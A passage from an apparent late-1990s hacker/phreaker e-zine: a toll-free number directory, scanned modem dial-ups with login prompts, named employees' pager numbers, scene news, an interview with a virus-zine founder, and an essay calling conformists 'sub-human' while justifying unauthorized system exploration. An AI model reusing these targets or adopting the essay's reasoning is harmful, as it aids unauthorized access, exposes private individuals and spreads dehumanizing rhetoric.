Messaging. +1-888-739-2737 (1-888-REWARDS) Bell Canada. +1-888-755-BELL Pacific Bell Equipment. +1-888-775-BELL Pacific Bell Equipment. +1-888-837-1668 Bell South Telecom Rental Services. +1-888-867-7587 (1-888-TMS-PLUS) Telus. +1-888-905-2284 BC Tel Interactive Business Solutions. +1-888-969-BELL Bell Atlantic. + +GTE: + +1-800-225-5160 GTE Corporation Teleservicing System. +1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance. +1-800-272-3466 GTE Telecom. +1-800-346-5800 GTE Business Sales Center. +1-800-347-5665 GTE Express. (Cellular) +1-800-366-5665 GTE Express. (Cellular) +1-800-428-8722 GTE Superpages Internet Services. +1-800-445-5288 GTE Business Sales Center. +1-800-483-1000 (1-800-GTE-1000) GTE Repair Center. +1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services. +1-800-483-3000 GTE Billing Center. +1-800-483-3600 GTE North Customer Billing Center. +1-800-483-4000 GTE California Customer Service Ordering Center. +1-800-483-4839 GTE Business Response Center. +1-800-483-5000 GTE California Business Sales Center. +1-800-483-5288 GTE Headquarters in Irving, TX. +1-800-483-5400 GTE Business Sales Center. +1-800-483-5559 GTE. +1-800-483-5781 GTE Wireless. +1-800-483-7243 (1-800-GTE-PAGE) GTE Paging. +1-800-483-7479 GTE Hawaiian Tel's Business Sales Center. +1-800-527-2558 GTE Business Response Center. +1-800-643-0997 GTE Bank Card Center. +1-800-670-9320 GTE Paging. +1-800-787-9689 GTE Customer Service. +1-800-877-5665 GTE Express. (Cellular) +1-800-888-8448 GTE Directory Order Center. + +MCI: + +1-800-225-5888 MCI WorldCom Operator Services. +1-800-254-8991 MCI WorldCom Customer Service. (U.S. only) +1-800-264-1000 MCI WorldCom Customer Service. +1-800-275-0200 MCI WorldCom Residential/Business Customer Service. +1-800-275-1234 MCI WorldCom. +1-800-333-1000 MCI WorldCom Commercial Customer Service. +1-800-333-2000 MCI WorldCom. +1-800-333-5000 MCI WorldCom Residential Service. +1-800-336-0149 MCI WorldCom Global Product Support. +1-800-432-4557 MCI WorldCom Account Services. (U.S. only) +1-800-444-1111 MCI WorldCom's Global Technical Service Center. +1-800-444-3333 MCI Customer Service. (U.S. only) +1-800-444-6242 MCI. +1-800-444-6245 MCI Mail Messaging and Technical Support. +1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office. +1-800-455-1605 Network MCI System. +1-800-455-2957 Network MCI System. +1-800-455-4215 Network MCI System. +1-800-455-5469 Network MCI System. +1-800-455-6084 Network MCI Interactive Paging Service. +1-800-455-6504 Network MCI System. +1-800-455-6513 Network MCI System. +1-800-455-6780 Network MCI System. +1-800-455-6813 Jack Hogan of MCI WorldCom's Pager. +1-800-455-6834 Network MCI System. +1-800-455-7806 Network MCI System. +1-800-455-7854 Network MCI System. +1-800-455-7920 Network MCI System. +1-800-475-5628 MCI WorldCom Paging System. +1-800-475-9321 MCI WorldCom. +1-800-483-4929 Network MCI System. +1-800-483-8784 Network MCI System. +1-800-539-2000 MCI WorldCom Business Services. +1-800-555-4668 Network MCI System. +1-888-624-2355 MCI WorldCom. +1-800-627-2355 MCI WorldCom Administrative Offices. +1-800-637-2255 MCI WorldCom. +1-800-645-2355 MCI WorldCom. +1-800-674-2355 MCI WorldCom (calling card calls) +1-800-688-4889 MCI National Relay Service in the U.S. (TTY) +1-800-701-9358 MCI WorldCom. (U.S. only) +1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System. +1-800-727-5555 MCI Small Business Accounts. (U.S. only) +1-800-848-4480 MCI WorldCom Network Assistance. (modem) +1-800-864-4060 MCI WorldCom Wholesale Services. +1-800-872-7654 MCI WorldCom's EDI Group. +1-800-877-9320 Network MCI. +1-800-888-8000 MCI WorldCom automated calling card calls. +1-800-944-0700 MCI WorldCom Wireless. +1-800-947-8642 MCI National Relay Service in the U.S. (voice) +1-800-WORLDCOM WorldCom. +1-800-COLLECT MCI WorldCom automated collect calls. +1-800-SUNDAYS MCI WorldCom. +1-888-655-2355 Network MCI Contact. +1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System. + +Sprint: + +1-800-277-7468 Sprint Phone Card and Collect calls. +1-800-359-2255 Sprint Voice Phone Card. +1-800-366-0707 Sprint Pre-Paid Card Customer Service. +1-800-366-2255 Sprint automated LD calling (U.S. and Canada) +1-800-FON-CARD Sprint's automated calling. +1-800-455-4602 Sprint PCS. +1-800-456-9711 Sprint Canada Customer Service. +1-800-467-7746 Sprint. +1-800-480-4727 (1-800-480-4PCS) Sprint PCS. +1-800-506-8268 Sprint Canada. +1-800-515-6678 (1-800-515-MOST) Sprint Canada. +1-800-522-9320 Sprint Canada. +1-800-540-4516 Sprint Canada. +1-800-546-2500 Sprint's online directory of SprintNet local access numbers. +1-800-546-6000 SprintNet's In-WATS Service. +1-800-548-8120 Sprint Canada. +1-800-570-2255 Sprint Business Service Center. +1-800-571-6678 (1-800-571-MOST) Sprint Canada. +1-800-575-2255 Sprint Canada's Business Sales Office. +1-800-597-1195 Sprint Canada. +1-800-597-9765 Sprint Canada. +1-800-680-6678 (1-800-680-MOST) Sprint Canada. +1-800-736-1130 SprintNet data network products and services. +1-800-746-3767 (1-800-PIN-DROP) Sprint. (U.S. only) +1-800-777-4681 (1-800-SPRINT-1) Sprint Paging. +1-800-777-4683 (1-800-SPRINT-3) Sprint Selections. +1-800-801-6678 (1-800-801-MOST) Sprint Canada. +1-800-827-4685 Sprint's Global One Customer Service Center. +1-800-843-6678 (1-800-THE-MOST) Sprint Canada. +1-800-873-9350 Sprint Canada. +1-800-874-5069 Sprint Canada. +1-800-877-4453 Sprint Employee News line. (U.S. only. Updated daily) +1-800-877-4646 Sprint Account/Rewards/Calling Card customer services. +1-800-877-5045 Sprint Service Management Center. +1-800-877-8000 Sprint Operator assisted calls. +1-800-877-8973 Sprint National Relay Service in the U.S. (voice/TTY) +1-800-994-6678 (1-800-994-MOST) Sprint Canada. +1-888-254-0701 Sprint Canada's "The Most" Online. +1-888-254-2927 Sprint Canada. +1-888-276-2179 Sprint PCS. +1-888-490-3279 (1-888-490-EASY) Sprint Canada's "The Most" Online. +1-888-510-3279 Sprint Canada. +1-888-670-3279 Sprint Canada. +1-888-675-3279 Sprint Canada. +1-888-689-3279 Sprint Canada's "The Most" Online. +1-888-710-3279 Sprint Canada's "The Most" Online. +1-888-790-3279 Sprint Canada. +1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line. + +US West: + +1-800-227-2209 Enterprise US West Employee Help Line. +1-800-238-7848 US West "Air Touch" Cellular. +1-800-244-1111 US West Communications. +1-800-338-0018 US West Direct Yellow Pages. +1-800-422-8793 US West Directory Source. +1-800-455-8706 US West Repair Center for AT&T. +1-800-4US-WEST US West Card Services. +1-800-626-6611 US West "Air Touch" Cellular Customer Service. +1-800-856-3376 US West Dispatch. (U.S. only) +1-800-883-6171 US West Completions and Translations. (U.S. only) + +Miscellaneous: + +1-303-499-7111 Atomic Clock in Colorado. +1-800-221-2255 American Airlines VMS. +1-800-222-5161 IBM Program Headquarters. +1-800-225-4288 ATN Communications. (collect, credit, calling card) +1-800-225-5128 NOS automated collect, credit and calling card calls. +1-800-225-5152 Nationwide Messaging. +1-800-225-5228 ATN Communications. (collect, credit, calling card) +1-800-225-5233 NOS automated collect, credit and calling card calls. +1-800-225-5249 (1-800-CALL-AIX) IBM AIX Support. +1-800-225-5265 1-800-COLLECT. +1-800-225-5268 ATN Communications. (collect, credit, calling card) +1-800-225-5373 3M Electronic Products Information. +1-800-225-5385 Compaq Computer Corporation. +1-800-225-5438 IDT Long Distance/Internet Services. +1-800-225-5463 Directory Assistance (800-CALL-INFO) +1-800-225-5500 Teleconference Assistance. +1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support. +1-800-227-3663 (1-800-CAR-FONE) Ericsson. +1-800-229-1103 Gateway Technical Support Tutorial Credit Card Line. +1-800-233-3382 Novell Education Programs. +1-800-235-4008 Information America's Client Support. +1-800-242-0080 Compaq Corporation. +1-800-263-0656 NCR. +1-800-263-1121 Canon. +1-800-263-2244 Sanyo On-Site. +1-800-263-3394 Apple Canada. +1-800-263-7536 Nokia Mobile Phones. +1-800-264-2255 InComNet National Telephone and Communications. +1-800-264-2355 (1-800-ANI-BELL) Cellular South Answer Center. +1-800-265-0977 NCR. +1-800-268-3997 NEC. +1-800-274-3127 MobileCom's National Customer Service Center. +1-800-284-2255 ATN Communications. (collect, credit, calling card) +1-800-294-0020 US Tel. (phone repairs and sales) +1-800-320-3488 Motorola Radio Network Services in San Diego, CA. +1-800-321-4044 Intel Overdrive/Microprocessor Support Line. +1-800-323-6586 Tandy Retail/Technical Services Fax-Back. (order Tandy docs!) +1-800-324-1234 CTI Long Distance Customer Service. +1-877-326-2826 NCR Bell Help Desk. +1-800-331-9922 General Motors Shareholder's Services. +1-800-332-2717 Intel Technical Support. +1-800-332-4636 Compaq Computer Corporation. +1-800-333-9967 Communication Options. +1-800-334-2255 GE Information Services Center. +1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ. +1-800-336-0220 Credit Card Service Bureau. +1-800-339-6181 Toshiba. +1-800-344-4825 Compaq Canada. +1-800-354-9000 Compaq Customer Services. +1-800-360-2255 Century 21 Realty VMS. +1-800-365-0696 Genecom Corporation (Digital Printer Support. It also has + a FAX back service.) +1-800-367-2346 Motorola Telecommunications Administration. +1-800-369-2255 Silent line. +1-800-374-2776 Ericsson Mobile Phones Customer Care Center. +1-800-381-7707 Rogers Cantel Service Barrie. +1-800-387-8240 NCR. +1-800-387-8300 NCR Help Desk and Call Management Center. +1-800-388-7478 SPA Anti-Piracy Hotline. (the official warez d00d ratline) +1-800-395-4656 ITC Telecom Dispatch Service. +1-800-405-6543 American Mobile Customer Accounts Support Center. +1-800-425-1111 Pepsi Cola Atlantic Customer Service. +1-800-426-2255 (IBM-CALL) IBM Customer Support. +1-800-426-4682 IBM Performance Management and Capacity Planning Services. +1-800-426-4968 (IBM-4YOU) IBM Products, Services and Technical Support. +1-800-426-7378 (IBM-SERV) IBM Hardware/Software technical information. +1-800-428-3929 (1-800-GATEWAY) Gateway in South Dakota. +1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (Mail-order telphonics equipment, + pre-paid phone cards, etc.) +1-800-446-6744 Motorola Supplier/Customer Training Services. +1-800-448-2244 (1-800-HITACHI) Hitachi. +1-800-453-0920 Motorola IDEN Customer Services. +1-800-455-5958 ITC Telecom. +1-800-456-3333 Skytel National Sales Center. +1-800-4-LUCENT Lucent Technologies. +1-800-460-1111 Qwest Customer Service. +1-800-460-2222 Qwest. +1-800-460-3333 Qwest. +1-800-461-5161 NCR Canada Emergency Parts Order Desk. +1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom) +1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service. +1-800-475-3107 Joanne Wilson from IBM Global Services Pager. +1-800-475-4455 Conference Calling Center. +1-800-477-9692 ATN Information and Customer Service. +1-800-483-1170 3Com's Customer Service after hours VMB. +1-800-483-1288 IBM Work Group Services. +1-800-483-4444 FirsTel Advanced Communications Customer Service Center. +1-800-483-6681 StarTech telco. +1-800-485-2255 Ring + Trunk Busy Signal. +1-800-509-1800 Novell's Customer Response Center. +1-800-525-5288 ATN Communications. +1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books, + Glossary of Terms, Acronyms and Jargon) +1-800-555-1212 Toll Free Directory Assistance/Info. +1-800-555-1560 Audix VMB. +1-800-555-2052 Gateway 2000 International Department. +1-800-555-2091 Gateway 2000 International Department. +1-800-555-3012 Gateway Direct Line. +1-800-555-3696 Silent line. +1-800-555-7665 TelAmerica. +1-800-563-9048 Micro$oft Canada Sales and Information Centre. +1-800-565-2237 Acer America Corporation. +1-800-567-1616 Compaq. +1-800-576-2255 Frontier Communications Customer Service. +1-800-580-5585 WesTel Incorporated Customer Service. +1-800-588-1111 ActionTel. +1-800-588-2222 ActionTel Customer Service. +1-800-594-3000 Call-Home America. +1-800-595-8480 Rogers@Home. +1-800-625-5288 Teleconference Playback Center. +1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services. +1-800-627-5609 Conquest Customer Service. +1-800-628-2888 Lucent Technologies National Customer Care Center. +1-800-628-8686 Intel Customer Service. +1-800-628-9526 Compaq Support Line. +1-800-633-2255 NOS automated collect, credit and calling card calls. +1-800-638-9273 Novell Customer Support. +1-800-638-9636 Genie Online Service. +1-800-639-8359 (1-800-NEXTEL-9) +1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support. +1-800-658-5199 AccessData Corporation. (data recovery) +1-800-663-7780 NCR Invoicing Department. +1-800-684-2255 Nortel's Meridian Home Office Support/Info. +1-800-725-5288 ATN Communications. +1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line. +1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support. +1-800-741-2255 ATN Communications. (collect, credit, calling card, op assisted.) +1-800-SKY-USER Skytel Customer Service. (press 3 for FAX on demand for docs) +1-800-SKY-PAGE SkyPager (Skytel Numeric Paging) +1-800-SKY-GRAM Skyward (Skytel Alpha-Numeric Paging) +1-800-SKY-TALK SkyTalk (Skytel Voice Mail) +1-800-SKY-FAXE SkyFax (Skytel Faxing) +1-800-SKY-8888 Skytel System Access. +1-800-777-2255 Phone Works VMS. +1-800-777-3278 Fujitsu Network Communications Inc. +1-800-777-4343 Digital Equipment Corp. +1-800-783-1414 Frontier Access Card. +1-800-783-2020 Frontier Communications Customer Service. +1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems) +1-800-788-8588 Working Assets Long Distance. +1-800-800-8800 Target Directory. +1-800-822-2000 Lucent Technologies. +1-800-825-2255 Metro-Call Customer Service. (pager service) +1-800-828-3362 Novell Authorization Department. +1-800-833-7477 Nortel Networks. +1-800-835-7788 US Telecom International. +1-800-842-2255 American Express VMS (Audix) +1-800-846-2301 Gateway Technical Support Line. +1-800-847-4096 DELL Canada's Service and Support Hot Line. +1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.) +1-800-848-8199 CompuServe. +1-800-848-8990 CompuServe. +1-800-858-4000 Novell Technical Support. +1-800-860-2255 Qwest/LCI. +1-800-860-4444 Qwest Communications. (calling card calls) +1-800-862-6338 Blast of noise down the trunk. Some type of test line. +1-800-864-7000 Premier World Link Access Number. +1-800-866-2770 MobileCom. (pager service) +1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only) +1-800-874-6387 Trellis Communications. +1-800-879-3782 NOS (automated collect, credit, calling card calls) +1-800-879-7660 Iomega's Instant Access Help System. +1-800-887-2255 Trellis Premier Voice Mail and Paging. +1-800-888-4848 Subway's VMS. +1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory. +1-800-42562563 (1-800-4-BLOCKME) VRS Billing Systems and IntegriTel offers + free 1-800 blocking and ANAC. +1-877-CELLPHONE Travel Phone (Cellular phone company) +1-877-240-1267 Cantel Centre De Communication Tech. +1-877-393285465 (1-877-EXECULINK) ExecuLink Internet Services. +1-877-396-3939 Union Telecom. +1-877-4-LUCENT Lucent Technologies. +1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services. +1-877-742-7722 Sharp Canada Customer Care Center. +1-877-ROGERS-1 Rogers Corporation. +1-877-875-2762 Pioneer Help Line. +1-877-WIRELESS Cellular Depot. +1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline. +1-888-229-4443 Cantel AT&T Canada. +1-888-CELL-BOOK CellCom and PageCom. +1-888-256-5678 NCR AlertLine. +1-888-257-8826 Cantel Centre de Communication. +1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks) +1-888-349-6972 Micron Electronics Technical Support. +1-888-478-2730 I-Star Internet Incorporated. +1-888-481-FIDO Fido PCS Services. +1-888-582-3686 (1-888-LUCENT6) Lucent Technologies Shareholder Services. +1-888-638-2355 Cantel AT&T. +1-888-673-8925 Micro$oft's Y2K Disclosure Line. +1-888-736-8567 Motorola. +1-888-ROGERS-1 Rogers Cable. +1-888-ROGERS-2 Rogers Connection. +1-888-839-9295 IBM Haliburton Service Desk. +1-888-877-2355 Comcev Communications. +1-888-879-2355 Portable Communications. (home of the Phone Man) +1-888-WIRELESS Page USA. +1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number. + +Carriers: + +1-800-225-5124 [28.8] HP-UX sager B.10.10 U 9000/800 (ttyt2) +1-800-225-5231 [28.8] Username: +1-800-225-5275 [28.8] @ Userid: +1-800-225-5307 [28.8] Scott-Levin Online BBS (PCBoard) +1-800-225-5850 [14.4] Renex TMS-5, SN-00500114 +1-800-504-2255 [33.6] Starting Radius Authentication... @ Userid: +1-800-565-8805 Datapac WATS access number. + + +ú - NEWS FROM THE TRENCHES - ú + +The LoU (Legions of the Underground), a group of hackers, have recently +stirred up a little controversy due to some statements that were made. +However, they've said that some of the comments, hacks and declaration +of a CyberWar on networks in Iraq and China don't represent the group. +Apparently, some individuals that aren't part of LoU were falsely claiming +that they were and making comments on behalf of the group, etc. For more +information on the whole situation, visit www.legions.org. To read the +statements released by other groups, visit www.hackernews.com (Hacker News +Network). + +A friend of mine recently called Bell Canada and requested that they install +Private Name Display on his line. Since there's no LASS code dedicated to +enabling/removing it, you must call Bell and speak with an Operator in order +to have it installed on a line... and wait 24 hours, even though it's a free +Bell feature. Anyways, after waiting on hold for more than 20 minutes, he +was finally able to speak with an Op. She was ignorant (or pretended not to +have any knowledge of that feature, even though it's listed right in the front +of Bell Canada's phone books)... and kept trying to sell him Caller-ID. After +explaining the feature to her, she finally said "It won't block your number, +just your name." He assured her that he knows how to use *67, and explained +to her again that he wants his name blocked as well for privacy reasons. She +then told him that it'd be put on his line within the next 24 hours. Several +days passed. He didn't check to see if Private Name Display was on his line +yet. Then a Bell Op called his house and wanted to speak with him about it. +As far as I know, the Bell zombies still haven't installed it on his line, +thus proving their ignorance, incompetence and lack of respect for customers. +They pretend to offer free services and features, yet they deny knowing of +their existence when a customer calls them. I just thought I'd share this +story with everyone to teach you a little about Bell Canada and their overly +paid, poorly trained, uneducated, bitchy, influencing employees. By the way, +if you want to call Bell and totally confuse them, ask a question and tell them +to consult their manual. They're so disorganized, uniformed and clueless about +their own job, they'll either say "What's that? Which manual is that?" or be +searching for it for the next 6 months. ;) + +Apple introduces five new flavours... err colours... for their iMac. Yeah, +that's right, you now have a choice of translucent blueberry, grape, tangerine, +lime and strawberry! Wow, what a surprise. Colours can influence zombies +into buying computers. The colour of a system is more important to the masses +than the megahertz and gigabytes. Who would've thought it? For more info, +read the article that's included in the REPORTS FROM THE FRONT section. + + +Information on new Damage, INC. Dist. Sites: + +name: pOwerraGe BBS +telnet://powerrage.nws.net + +For complete information, see the Crossed Wires advertisement. + + +name: Green Estate Mansion +number: (632) 655-6786 +sysop: Realthor +country: Philippines +nets: CCi, InfiNet, etc. + + +name: factor de necrosis tumoral bbs +number: +54 11 4 611 3608 +sysop: zxyx +city: Flores, capital del bizarre +country: Argentina +nets: CCi, InfiNet. + + +name: Utopia BBS +number: +48-22-6692785 +sysop: Drixter +country: Poland +baud: 2400-33600(V90C) +hours: 22:00-06:00 every day in CET (Central European Time) +distro: PCi-Team PHQ +nets: CCi + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} +An interview with Metabolis. + + = BLACKENED +Metabolis' answers and comments are underneath what I wrote. + + + - Introduce yourself to the readers of the Damage, INC. Newsletter... + +Once upon a time after several failed attempts at creating groups, I decided it +was time to attempt an entry into the virus scene. I chose the name VLAD and +set out to find me some codeslaves who would make it so. It was 1993 and I was +on several warez boards, so I sent out some messages asking if anyone might be +interested in joining up. + +I received a message from a sysop telling me he knew a guy who might be +interested. Eventually I got to mail the guy (Qark) and he became the first +vlad coder. At that time I had no knowledge of x86 asm myself, and it wasn't +till a year later when Qark sat down and schooled me that I actually coded +something semi-worthy for the mag myself. + +My "position" in the group was the editor and leader. I kept everyone motivated +and whipped butt till I got enough together for an issue. + +Two or three virus groups were active in Australia at the time. AIH (Australian +Institute of Hackers) and NuKE are the only that come to mind at this time. +There was also a coder by the name of Terminator Z (Harry McBungus/Talon) who +later joined the group NuKE pretty much before they died out. His viruses still +make up the largest amount of infections within Australia. Sadly he passed away +of a heroin overdose two years ago. + + - How long have you been involved in the virus scene? What were some +of the memorable virus exchange (VX) nets that you used to post in? + +In the early days we used to post to NuKEnet and fidonet's VIRUS_NFO and +VIRUS_INFO. We stopped posting after a couple of years as things kinda died out +what with the sudden emergence of the internet in everyone's homes. + + - When was VLAD started? How was the group formed? Why did you decide +to start a virus zine? What was the main purpose of VLAD magazine? Did +you choose the name Virus Laboratories and Distribution for any significant +reason? + +The main purpose of the VLAD magazine was always to educate. Our stance on +writing no intentionally destructive code was dissed originally as most coders +at the time really got into data trashing. We achieved our fame through +superior coding techniques not through fear as the NuKE group harnessed. + +I can't really remember why I chose the name VLAD (Virus Laboratories & +Distribution).. I think I was just looking for a recognizable word that started +with V. heh. + + - How much did VLAD change and evolve since the first issue was released? +And what was the response like when Bizatch, the world's first Win95 virus +was released? + +From issue one of the magazine to its end we set ourselves challenges. From +writing the first tsr win3.1 virus, to the hugely media hyped win95 virus +Bizatch (which was named Boza by the AV community). + +Unfortunately with the rush that usually occured around release time and the +fact that most of the source is rather uncomprehensible to anyone other than the +author quite a number of VLAD viruses were released with bugs. + +Still, the advances that we made were picked up by coders worldwide and the +virus scene flourished just as we did. + + - As the editor of VLAD, did you find it difficult to get people to write +articles, send in virus source and contribute art, etc.? + +No. :) I dunno, it's just something I seem to be good at. + + - What do you think VLAD accomplished? Was the overall experience +enjoyable for you? + +All I wanted out of VLAD really was something I could be proud of in the future, +and I think I achieved that. + +There were good times, and there were also bad times. For some time I immersed +myself in the internet and the furthering of VLAD, and neglected to get on with +anything else. + +I have no regrets. + + - What do you think of the current AV community? Also, what do you +think of people that ripoff source code and claim they wrote a unique virus? + +The antivirus community as it stands right now I'm not really aware of. In some +sectors there is perhaps greater recognition for the coding skills virus authors +have. But there are also the "ah, they're just a bunch of punk kids.." still +around. + +I wouldn't say things have changed much at all. It all comes down to the dollar +and that's what they're after. If they have to create a hype about a virus +which will not infect hardly anyone at all just to create more software buys, +they will do it. + +As for people who rip code and claim it's their own, I think the same applies in +any field of coding. Demo, unix, whatever.. it's plain lame. + + - Where are issues of VLAD available to download? How can you be +contacted? + +The VLAD homepage is currently located at http://www.virusexchange.org/vlad +You can email me at meta@virusexchange.org + + - Are you still actively involved in programming viruses or the virus +scene in general? + +I hang around like a bad smell, but I'm not really all that active. + + - Which virus groups and zines, if any, do you respect? + +Phalcon/Skism and Immortal Riot/Genesis were the only two groups providing any +real competition at the time VLAD was in full swing. The group Trident also +deserves a mention. + + - If you wouldn't have started VLAD, which virus group would you have +wanted to join? + +I don't join groups. I create them. You know what they say, if you want +something done properly.. do it yourself. ;) + +I wouldn't have learned to code assembler if I hadn't formed VLAD so I probably +wouldn't have joined any group. When we first started we had no contact with +any other virus groups at all. + + - Do you want to share any memorable virus related stories and experiences? + +The Sydney Morning Herald newspaper once reported that VLAD was a team of over +50 people. + + - Do you want to mention any VX boards that you call/called or people in +the scene that you know? + +Some greetings.. (it's 7am and I haven't slept all night, I can hardly remember +my own name atm, if I miss you.. know that I still love ya) + +Rhincewind (get in touch man!@), Antigen, Absolute Overlord, Darkman, Coke, +Quantum, Qark, Priest, Memory Lapse, Retch, Sepultura, Automag, NCL, +The Unforgiven, Omega, Dark Fiber, Australian Parasite, Halflife, Ripmax, +Levski, Rebyc, CaptZero, TheFloyd, Gatton, Subcube, Euclid, Stormbringer, +Dark Angel, Napoleon, Shaman, Rilo + + - Are there any other comments you want to make about the virus scene +or anything else that you want to mention? + +April 10th 1997 +Clinton Haines RIP +aka Terminator Z/Harry McBungus/Talon +I'm proud to have known him, and will never forget. + + - Thanks for agreeing to be interviewed Metabolis. VLAD was one of my +personal favourite zines to read. ;) And to all of our readers that aspire +to become proficient assembly programmers, check out issues of VLAD and study +the source code. Even if your goal isn't to learn how to code viruses, you can +still learn many valuable techniques such as how to utilize the ports for +reading/writing, encryption, 386 code, etc. Their viruses also demonstrate how +to program nice, small, tight, assembly code... + + +OBJECTIVE OPINIONS - {OPINIONS} +Zombies and thinkers. + +Zombies are mindless sub-human creatures. They are the ignorant, the +indifferent, opinionless followers that are born to conform. They +are filled with self-blame. They support the party and dutifully vote +in each election. They believe that it's their obligation. They +follow the government and look at their oppressors with adoration. They +are the fools. They are an inferior race that exist without living. +They follow a routine everyday and become company men. They are loyal +only to themselves, their government and their employer. They act without +thought and make decisions without logic. They reject individualism and +uniqueness and strive for total conformity. They respect liars and despise +those that are truthful and honest. They are naive, gullible and extremely +easy to influence. They are the prey of "society" and enjoy being sheep to +their leaders. Zombies can also be arrogant towards people with intelligence. +They refuse to learn the hard way, yet don't become bitter when they are +destroyed. To them, their own self-worth and happiness are determined by +"the system" and to go against that would be sacrilege. Instead of fighting +against it, they admire and respect it at all costs. They see "society" as +being more important than themselves. If they are told to believe that +something was done for the good of all, then they accept that without question. +Going with the ideas of others is their motto. Never stand apart from the +rest is their war cry. They exist to serve "society" and they perform their +set roles well. From the cradle to the grave they never stand out and +never stray from believing in the propaganda that they've been taught. It +angers them to be told that they're brainwashed. They don't like being +labelled as zombies. Instead, they'd rather be called patriots of the +New World Order, citizens of their country or supporters of the party. They +love their country more than themselves. They take nationalism to the extreme. +They are blind to their surroundings and choose not to see the truth, the +wrongs and the injustices. They need to feel the same and fear being different. +Their pathetic need to fit in and be all things to all people drives them +to mimic others around them in their small, close minded area. Openness, open +mindedness and creativity aren't acceptable to zombies. They see those things +as individuality, which is outlawed. The laws that are made for them are +there to be followed and respected. To question that would be to question +"society" itself. That's a death sentence for a zombie. For them, there's +no need for a strong mind when they can rely on influence and pure instinct. +There's no reason to contemplate things when they can just ask what they +should believe. There's no reason to think, only reason to work as a slave +in ignorant bliss. Work is acceptance. Why spend precious time out of +your routine thinking while you could be working for someone else? Why +appreciate what you have when you can envy what others have? Why say or do +something about a wrong when you can just ignore it and do nothing? Why +even consider what an outsider says when listening to what the party says +is so much easier? Why bother with the hassle of reading the words of +opposition when you can always revert to what the party has already told you? +Why not just remain a zombie and let someone else do the thinking for you? +Afterall, there's nothing more gratifying than living in ignorance and +serving "the system" as an obedient citizen/zombie. There's no reason to +rock the boat and upset it, is there? So, they remain as they are. Year +after year their minds stagnate and the ruts of their routines grow deeper +while their own shallowness increases exponentially. That is the life of +a zombie. Propaganda is their truth. They wouldn't have it any other way. + +They're very content with being uninformed and reject the idea that knowledge, +individuality and freedom are more important than "society" itself. The very +notion that an individual citizen should have the rights to personal freedom, +to stand out from the crowd, to reject what is popular amongst the masses, to +speak their mind and have their *own* opinions is well beyond their grasp. +In fact, it's so far beyond that they can't even comprehend why a person +would want those aforementioned things. And they don't want to understand +why either. If it doesn't affect them directly, they aren't interested. +Whenever in doubt, they just refer back to what "society" would think and +act accordingly. They judge their own decisions and conduct on what is +considered to be politically correct, rather than on what they think or +believe. Apparently, they are unable to form their own thoughts and develop +their own opinions and beliefs. But that's just the way they want it as +they pose no resistance to being conditioned and brainwashed. They welcome +influence with open arms and greet their enemies with fondness. Pathetic? +Yes. But such is the life of a typical zombie. + +Obviously thinkers are quite different. They are creative individualists +by nature. They are the innovators that reject government controls. They +are the inventors, the artists, the philosophers, the poets, the political +activists, the libertarians, the freedom fighters, the people that are willing +to experiment. Thinkers are people that look at things differently. They have +their own thoughts and ideas. They don't just want to know how something works, +or why, but how it'd work if they changed it. They are the people that ask +"What would happen if I did this?" and "How can I make this work better?" +Those questions don't just apply to machines and technology, but to almost +everything else. We owe much to thinkers. Without them this form of +communication wouldn't exist. Neither would this electronic magazine. If +there weren't thinkers, people that are different, we'd still be using the +telegraph instead of telephones, modems, fax machines, etc. Thinkers are +responsible for looking past the current limitations and creating something +new. What they do isn't always accepted, applauded, admired and looked at +fondly by others. Sometimes what they create isn't even understood or wanted +by anyone until much later. And they don't always get/take credit for their +inventions. Nor do they always profit from them. + +As for modern day thinkers, there are many. Too many to list. But I'll +choose a few people as examples: Stephen Hawking, Linus Torvalds, Mich Kapor, +Albert Einstein, Robert Kennedy, Martin Luther King Jr, Carl Sagan, Albert +Hoffman, Timothy Leary, Jack Kerouac, Francis Ford Copola, Alexander Grahm Bell, +Thomas Edison, Orson Wells, Isaac Asimov, George Orwell and almost countless +other poets, authors and lesser known people. Also, anyone that uses technology +to their benefit, to learn, explore and gain knowledge is a thinker. So, by +that definition, hackers and phreaks are *thinkers*. They have to be, since you +have to possess the ability to think of possibilities, theories (theoretical +exploits and the like) in order to explore systems and the telco system, which +is the largest integrated system of all. If you can't think, you can't +hack/phreak. And so, there are many recognizable names of hackers and phreaks +that I could have listed, but chose not to. There's no reason to single some +of them out to make a point. And I couldn't list them all in this article +anyways. Basically, it's natural to be born wanting to know. Those that seek +out knowledge and take steps to gain it are the thinkers. They are literally +"born hackers". It's not something that they can easily change, or just quit +being even if they wanted to. It may eventually cause them conflict (especially +in this modern, technological "society"), but they will still pursue what they +want... many times regardless of the consequences. It's only natural to them, +and without doing harm, destruction, or causing monetary losses to anyone, they +don't feel that it's wrong. They feel justified in exploring freely. +Personally, I don't think that's morally, ethically wrong. It's not criminal to +want to have information or possess knowledge. What's so terribly wrong with +wanting to know about what's hidden/restricted from us? It's only natural and +logical to want to explore those areas. The unknown isn't feared by thinkers. +Quite the opposite. It's the very thing that makes them want to find out. It's +like the need of an adopted child to find out who their biological parents are. +It goes beyond wanting. It can become an obsession to learn. So, why fight the +compulsion to go out and do just that? Think about it. If certain people +hadn't done that, this world would be a very different place right now. 